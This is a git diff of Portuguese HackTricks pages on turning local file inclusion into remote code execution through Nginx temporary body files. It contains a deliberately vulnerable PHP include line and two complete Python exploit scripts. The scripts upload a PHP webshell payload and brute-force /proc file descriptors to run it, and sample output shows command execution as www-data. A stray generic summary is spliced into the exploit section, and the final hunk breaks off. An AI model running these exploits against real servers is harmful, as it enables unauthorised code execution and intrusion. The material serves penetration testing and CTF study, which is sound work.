* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,59 +1,60 @@
|
||||||
## LFI2RCE via arquivos temporários do Nginx
|
# LFI2RCE via arquivos temporários do Nginx
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Configuração vulnerável
|
## Configuração vulnerável
|
||||||
|
|
||||||
* Código PHP:
|
* Código PHP:
|
||||||
```
|
```
|
||||||
<?php include_once($_GET['file']);
|
<?php include_once($_GET['file']);
|
||||||
```
|
```
|
||||||
* Configuração do FPM / PHP:
|
* Configuração FPM / PHP:
|
||||||
```
|
```
|
||||||
...
|
...
|
||||||
php_admin_value[session.upload_progress.enabled] = 0
|
php_admin_value[session.upload_progress.enabled] = 0
|
||||||
php_admin_value[file_uploads] = 0
|
php_admin_value[file_uploads] = 0
|
||||||
...
|
...
|
||||||
```
|
```
|
||||||
* Configuração / endurecimento:
|
* Configuração / reforço:
|
||||||
```
|
```
|
||||||
...
|
...
|
||||||
chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
|
chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
|
||||||
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
|
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
|
||||||
...
|
...
|
||||||
```
|
```
|
||||||
Felizmente, o PHP é atualmente frequentemente implantado via PHP-FPM e Nginx. O Nginx oferece um recurso facilmente ignorado de [bufferização do corpo do cliente](https://nginx.org/en/docs/http/ngx\_http\_core\_module.html#client\_body\_buffer\_size), que gravará arquivos temporários se o corpo do cliente (não limitado a post) for maior que um determinado limite.
|
Felizmente, o PHP é frequentemente implantado via PHP-FPM e Nginx. O Nginx oferece um recurso de [buffering de corpo do cliente](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_body_buffer_size) que muitas vezes é negligenciado, o qual escreverá arquivos temporários se o corpo do cliente (não limitado a post) for maior do que um determinado limite.
|
||||||
|
|
||||||
Esse recurso permite que as vulnerabilidades de inclusão de arquivos locais sejam exploradas sem qualquer outra forma de criação de arquivos, se o Nginx for executado como o mesmo usuário que o PHP (muito comumente feito como www-data).
|
Esse recurso permite que LFIs sejam explorados sem qualquer outra forma de criação de arquivos, se o Nginx for executado como o mesmo usuário do PHP (muito comumente feito como www-data).
|
||||||
|
|
||||||
Código relevante do Nginx:
|
Código relevante do Nginx:
|
||||||
```c
|
```c
|
||||||
ngx_fd_t
|
ngx_fd_t
|
||||||
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
|
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
|
||||||
{
|
{
|
||||||
ngx_fd_t fd;
|
ngx_fd_t fd;
|
||||||
|
|
||||||
fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
|
fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
|
||||||
access ? access : 0600);
|
access ? access : 0600);
|
||||||
|
|
||||||
if (fd != -1 && !persistent) {
|
if (fd != -1 && !persistent) {
|
||||||
(void) unlink((const char *) name);
|
(void) unlink((const char *) name);
|
||||||
}
|
}
|
||||||
|
|
||||||
return fd;
|
return fd;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
É visível que **o arquivo temporário é desvinculado imediatamente** após ser aberto pelo Nginx. Felizmente, **o procfs pode ser usado para ainda obter uma referência** ao arquivo excluído por meio de uma corrida:
|
É visível que o **tempfile é desvinculado imediatamente** após ser aberto pelo Nginx. Felizmente, **procfs pode ser usado para ainda obter uma referência** ao arquivo excluído por meio de uma corrida:
|
||||||
```
|
```
|
||||||
...
|
...
|
||||||
/proc/34/fd:
|
/proc/34/fd:
|
||||||
|
@ -68,9 +69,9 @@ lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927]
|
||||||
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
|
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
|
||||||
...
|
...
|
||||||
```
|
```
|
||||||
Nota: Não é possível incluir diretamente `/proc/34/fd/15` neste exemplo, pois a função `include` do PHP resolveria o caminho para `/var/lib/nginx/body/0000001368 (deleted)`, que não existe no sistema de arquivos. Felizmente, essa pequena restrição pode ser contornada por meio de alguma indireção, como: `/proc/self/fd/34/../../../34/fd/15`, que finalmente executará o conteúdo do arquivo `/var/lib/nginx/body/0000001368` excluído.
|
Nota: Não é possível incluir diretamente `/proc/34/fd/15` neste exemplo, pois a função `include` do PHP resolveria o caminho para `/var/lib/nginx/body/0000001368 (deleted)`, que não existe no sistema de arquivos. Esta pequena restrição pode, felizmente, ser contornada por alguma indireção como: `/proc/self/fd/34/../../../34/fd/15`, que finalmente executará o conteúdo do arquivo deletado `/var/lib/nginx/body/0000001368`.
|
||||||
|
|
||||||
## Exploração Completa
|
## Exploit Completo
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
import sys, threading, requests
|
import sys, threading, requests
|
||||||
|
@ -80,80 +81,97 @@ import sys, threading, requests
|
||||||
|
|
||||||
URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'
|
URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'
|
||||||
|
|
||||||
# find nginx worker processes
|
# find nginx worker processes
|
||||||
r = requests.get(URL, params={
|
r = requests.get(URL, params={
|
||||||
'file': '/proc/cpuinfo'
|
'file': '/proc/cpuinfo'
|
||||||
})
|
})
|
||||||
cpus = r.text.count('processor')
|
cpus = r.text.count('processor')
|
||||||
|
|
||||||
r = requests.get(URL, params={
|
r = requests.get(URL, params={
|
||||||
'file': '/proc/sys/kernel/pid_max'
|
'file': '/proc/sys/kernel/pid_max'
|
||||||
})
|
})
|
||||||
pid_max = int(r.text)
|
pid_max = int(r.text)
|
||||||
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')
|
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')
|
||||||
|
|
||||||
nginx_workers = []
|
nginx_workers = []
|
||||||
for pid in range(pid_max):
|
for pid in range(pid_max):
|
||||||
r = requests.get(URL, params={
|
r = requests.get(URL, params={
|
||||||
'file': f'/proc/{pid}/cmdline'
|
'file': f'/proc/{pid}/cmdline'
|
||||||
})
|
})
|
||||||
|
|
||||||
if b'nginx: worker process' in r.content:
|
if b'nginx: worker process' in r.content:
|
||||||
print(f'[*] nginx worker found: {pid}')
|
print(f'[*] nginx worker found: {pid}')
|
||||||
|
|
||||||
nginx_workers.append(pid)
|
nginx_workers.append(pid)
|
||||||
if len(nginx_workers) >= cpus:
|
if len(nginx_workers) >= cpus:
|
||||||
break
|
break
|
||||||
|
|
||||||
done = False
|
done = False
|
||||||
|
|
||||||
# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
|
# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
|
||||||
def uploader():
|
def uploader():
|
||||||
print('[+] starting uploader')
|
print('[+] starting uploader')
|
||||||
while not done:
|
while not done:
|
||||||
requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')
|
requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')
|
||||||
|
|
||||||
for _ in range(16):
|
for _ in range(16):
|
||||||
t = threading.Thread(target=uploader)
|
t = threading.Thread(target=uploader)
|
||||||
t.start()
|
t.start()
|
||||||
|
|
||||||
# brute force nginx's fds to include body files via procfs
|
# brute force nginx's fds to include body files via procfs
|
||||||
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
|
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
|
||||||
def bruter(pid):
|
def bruter(pid):
|
||||||
global done
|
global done
|
||||||
|
|
||||||
while not done:
|
while not done:
|
||||||
print(f'[+] brute loop restarted: {pid}')
|
print(f'[+] brute loop restarted: {pid}')
|
||||||
for fd in range(4, 32):
|
for fd in range(4, 32):
|
||||||
f = f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
|
f = f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
|
||||||
r = requests.get(URL, params={
|
r = requests.get(URL, params={
|
||||||
'file': f,
|
'file': f,
|
||||||
'c': f'id'
|
'c': f'id'
|
||||||
})
|
})
|
||||||
if r.text:
|
if r.text:
|
||||||
print(f'[!] {f}: {r.text}')
|
print(f'[!] {f}: {r.text}')
|
||||||
done = True
|
done = True
|
||||||
exit()
|
exit()
|
||||||
|
|
||||||
for pid in nginx_workers:
|
for pid in nginx_workers:
|
||||||
a = threading.Thread(target=bruter, args=(pid, ))
|
a = threading.Thread(target=bruter, args=(pid, ))
|
||||||
a.start()
|
a.start()
|
||||||
```
|
```
|
||||||
# LFI to RCE via Nginx temp files
|
```markdown
|
||||||
|
# LFI to RCE via Nginx Temporary Files
|
||||||
|
|
||||||
## Introdução
|
Quando exploramos uma vulnerabilidade de Local File Inclusion (LFI), podemos às vezes transformar isso em execução remota de código (RCE). Uma técnica envolve o uso de arquivos temporários do Nginx.
|
||||||
|
|
||||||
Este método de LFI to RCE é baseado em uma vulnerabilidade no Nginx que permite a um usuário local ler arquivos temporários criados pelo Nginx. Esses arquivos temporários podem conter informações sensíveis, como senhas e chaves privadas, que podem ser usadas para obter acesso não autorizado ao sistema.
|
## Como funciona
|
||||||
|
|
||||||
## Exploração
|
O Nginx cria arquivos temporários quando lida com solicitações que incluem dados POST. Se pudermos fazer o upload de um arquivo PHP malicioso e, em seguida, incluí-lo via LFI antes que o Nginx o exclua, podemos executar o código PHP.
|
||||||
|
|
||||||
Para explorar essa vulnerabilidade, o atacante precisa ter acesso ao sistema e ser capaz de ler arquivos temporários criados pelo Nginx. O atacante pode usar um exploit para ler esses arquivos e obter informações sensíveis.
|
## Passos
|
||||||
|
|
||||||
Uma vez que o atacante tenha acesso a essas informações, ele pode usá-las para obter acesso não autorizado ao sistema. Por exemplo, o atacante pode usar as informações para se autenticar como um usuário legítimo e acessar recursos restritos.
|
1. Enviar uma solicitação POST com um arquivo PHP malicioso.
|
||||||
|
2. Identificar o caminho do arquivo temporário no servidor.
|
||||||
|
3. Incluir o arquivo temporário via LFI.
|
||||||
|
4. O código PHP é executado.
|
||||||
|
|
||||||
|
## Considerações de Segurança
|
||||||
|
|
||||||
|
- O tempo é crítico, pois os arquivos temporários podem ser excluídos rapidamente.
|
||||||
|
- As configurações do servidor podem variar, então o caminho dos arquivos temporários pode ser diferente.
|
||||||
|
- Acesso ao caminho dos arquivos temporários pode ser restrito.
|
||||||
|
|
||||||
## Mitigação
|
## Mitigação
|
||||||
|
|
||||||
Para mitigar essa vulnerabilidade, é recomendável que os usuários restrinjam o acesso ao sistema e monitorem o uso de arquivos temporários pelo Nginx. Além disso, os usuários devem garantir que as senhas e chaves privadas sejam armazenadas de forma segura e não sejam acessíveis a usuários não autorizados.
|
Para prevenir essa exploração, os administradores devem:
|
||||||
|
|
||||||
|
- Configurar corretamente as permissões de diretório.
|
||||||
|
- Monitorar e limpar regularmente os arquivos temporários.
|
||||||
|
- Usar funções de inclusão de arquivo seguras que validam os arquivos antes de incluí-los.
|
||||||
|
|
||||||
|
Ao entender como essa técnica funciona, podemos tanto explorá-la para fins de pentesting quanto proteger nossos sistemas contra ela.
|
||||||
|
```
|
||||||
```
|
```
|
||||||
$ ./pwn.py 127.0.0.1 1337
|
$ ./pwn.py 127.0.0.1 1337
|
||||||
[*] cpus: 2; pid_max: 32768
|
[*] cpus: 2; pid_max: 32768
|
||||||
|
@ -179,9 +197,9 @@ $ ./pwn.py 127.0.0.1 1337
|
||||||
[+] brute loop restarted: 34
|
[+] brute loop restarted: 34
|
||||||
[!] /proc/self/fd/34/../../../34/fd/9: uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
[!] /proc/self/fd/34/../../../34/fd/9: uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||||
```
|
```
|
||||||
### Outra exploração
|
### Outro Exploit
|
||||||
|
|
||||||
Isso é do [https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/](https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/)
|
Este é de [https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/](https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/)
|
||||||
```python
|
```python
|
||||||
import requests
|
import requests
|
||||||
import threading
|
import threading
|
||||||
|
@ -195,88 +213,88 @@ NGINX_PIDS_CACHE = set([34, 35, 36, 37, 38, 39, 40, 41])
|
||||||
USE_NGINX_PIDS_CACHE = False
|
USE_NGINX_PIDS_CACHE = False
|
||||||
|
|
||||||
def create_requests_session():
|
def create_requests_session():
|
||||||
session = requests.Session()
|
session = requests.Session()
|
||||||
# Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead
|
# Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead
|
||||||
adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)
|
adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)
|
||||||
session.mount('http://', adapter)
|
session.mount('http://', adapter)
|
||||||
return session
|
return session
|
||||||
|
|
||||||
def get_nginx_pids(requests_session):
|
def get_nginx_pids(requests_session):
|
||||||
if USE_NGINX_PIDS_CACHE:
|
if USE_NGINX_PIDS_CACHE:
|
||||||
return NGINX_PIDS_CACHE
|
return NGINX_PIDS_CACHE
|
||||||
nginx_pids = set()
|
nginx_pids = set()
|
||||||
# Scan up to PID 200
|
# Scan up to PID 200
|
||||||
for i in range(1, 200):
|
for i in range(1, 200):
|
||||||
cmdline = requests_session.get(SERVER + f"/?action=read&file=/proc/{i}/cmdline").text
|
cmdline = requests_session.get(SERVER + f"/?action=read&file=/proc/{i}/cmdline").text
|
||||||
if cmdline.startswith("nginx: worker process"):
|
if cmdline.startswith("nginx: worker process"):
|
||||||
nginx_pids.add(i)
|
nginx_pids.add(i)
|
||||||
return nginx_pids
|
return nginx_pids
|
||||||
|
|
||||||
def send_payload(requests_session, body_size=1024000):
|
def send_payload(requests_session, body_size=1024000):
|
||||||
try:
|
try:
|
||||||
# The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast
|
# The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast
|
||||||
payload = '<?php system("/readflag"); ?> //'
|
payload = '<?php system("/readflag"); ?> //'
|
||||||
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
|
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
def send_payload_worker(requests_session):
|
def send_payload_worker(requests_session):
|
||||||
while True:
|
while True:
|
||||||
send_payload(requests_session)
|
send_payload(requests_session)
|
||||||
|
|
||||||
def send_payload_multiprocess(requests_session):
|
def send_payload_multiprocess(requests_session):
|
||||||
# Use all CPUs to send the payload as request body for Nginx
|
# Use all CPUs to send the payload as request body for Nginx
|
||||||
for _ in range(multiprocessing.cpu_count()):
|
for _ in range(multiprocessing.cpu_count()):
|
||||||
p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
|
p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
|
||||||
p.start()
|
p.start()
|
||||||
|
|
||||||
def generate_random_path_prefix(nginx_pids):
|
def generate_random_path_prefix(nginx_pids):
|
||||||
# This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
|
# This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
|
||||||
path = ""
|
path = ""
|
||||||
component_num = random.randint(0, 10)
|
component_num = random.randint(0, 10)
|
||||||
for _ in range(component_num):
|
for _ in range(component_num):
|
||||||
pid = random.choice(nginx_pids)
|
pid = random.choice(nginx_pids)
|
||||||
if random.randint(0, 1) == 0:
|
if random.randint(0, 1) == 0:
|
||||||
path += f"/proc/{pid}/cwd"
|
path += f"/proc/{pid}/cwd"
|
||||||
else:
|
else:
|
||||||
path += f"/proc/{pid}/root"
|
path += f"/proc/{pid}/root"
|
||||||
return path
|
return path
|
||||||
|
|
||||||
def read_file(requests_session, nginx_pid, fd, nginx_pids):
|
def read_file(requests_session, nginx_pid, fd, nginx_pids):
|
||||||
nginx_pid_list = list(nginx_pids)
|
nginx_pid_list = list(nginx_pids)
|
||||||
while True:
|
while True:
|
||||||
path = generate_random_path_prefix(nginx_pid_list)
|
path = generate_random_path_prefix(nginx_pid_list)
|
||||||
path += f"/proc/{nginx_pid}/fd/{fd}"
|
path += f"/proc/{nginx_pid}/fd/{fd}"
|
||||||
try:
|
try:
|
||||||
d = requests_session.get(SERVER + f"/?action=include&file={path}").text
|
d = requests_session.get(SERVER + f"/?action=include&file={path}").text
|
||||||
except:
|
except:
|
||||||
continue
|
continue
|
||||||
# Flags are formatted as hxp{<flag>}
|
# Flags are formatted as hxp{<flag>}
|
||||||
if "hxp" in d:
|
if "hxp" in d:
|
||||||
print("Found flag! ")
|
print("Found flag! ")
|
||||||
print(d)
|
print(d)
|
||||||
|
|
||||||
def read_file_worker(requests_session, nginx_pid, nginx_pids):
|
def read_file_worker(requests_session, nginx_pid, nginx_pids):
|
||||||
# Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
|
# Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
|
||||||
for fd in range(10, 45):
|
for fd in range(10, 45):
|
||||||
thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))
|
thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))
|
||||||
thread.start()
|
thread.start()
|
||||||
|
|
||||||
def read_file_multiprocess(requests_session, nginx_pids):
|
def read_file_multiprocess(requests_session, nginx_pids):
|
||||||
for nginx_pid in nginx_pids:
|
for nginx_pid in nginx_pids:
|
||||||
p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
|
p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
|
||||||
p.start()
|
p.start()
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
print('[DEBUG] Creating requests session')
|
print('[DEBUG] Creating requests session')
|
||||||
requests_session = create_requests_session()
|
requests_session = create_requests_session()
|
||||||
print('[DEBUG] Getting Nginx pids')
|
print('[DEBUG] Getting Nginx pids')
|
||||||
nginx_pids = get_nginx_pids(requests_session)
|
nginx_pids = get_nginx_pids(requests_session)
|
||||||
print(f'[DEBUG] Nginx pids: {nginx_pids}')
|
print(f'[DEBUG] Nginx pids: {nginx_pids}')
|
||||||
print('[DEBUG] Starting payload sending')
|
print('[DEBUG] Starting payload sending')
|
||||||
send_payload_multiprocess(requests_session)
|
send_payload_multiprocess(requests_session)
|
||||||
print('[DEBUG] Starting fd readers')
|
print('[DEBUG] Starting fd readers')
|
||||||
read_file_multiprocess(requests_session, nginx_pids)
|
read_file_multiprocess(requests_session, nginx_pids)
|
||||||
```
|
```
|
||||||
## Laboratórios
|
## Laboratórios
|
||||||
|
|
||||||
|
@ -290,12 +308,14 @@ if __name__ == "__main__":
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,17 +2,18 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
De acordo com os writeups [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) (segunda parte) e [https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view), as seguintes cargas úteis causaram uma falha de segmentação no PHP:
|
||||||
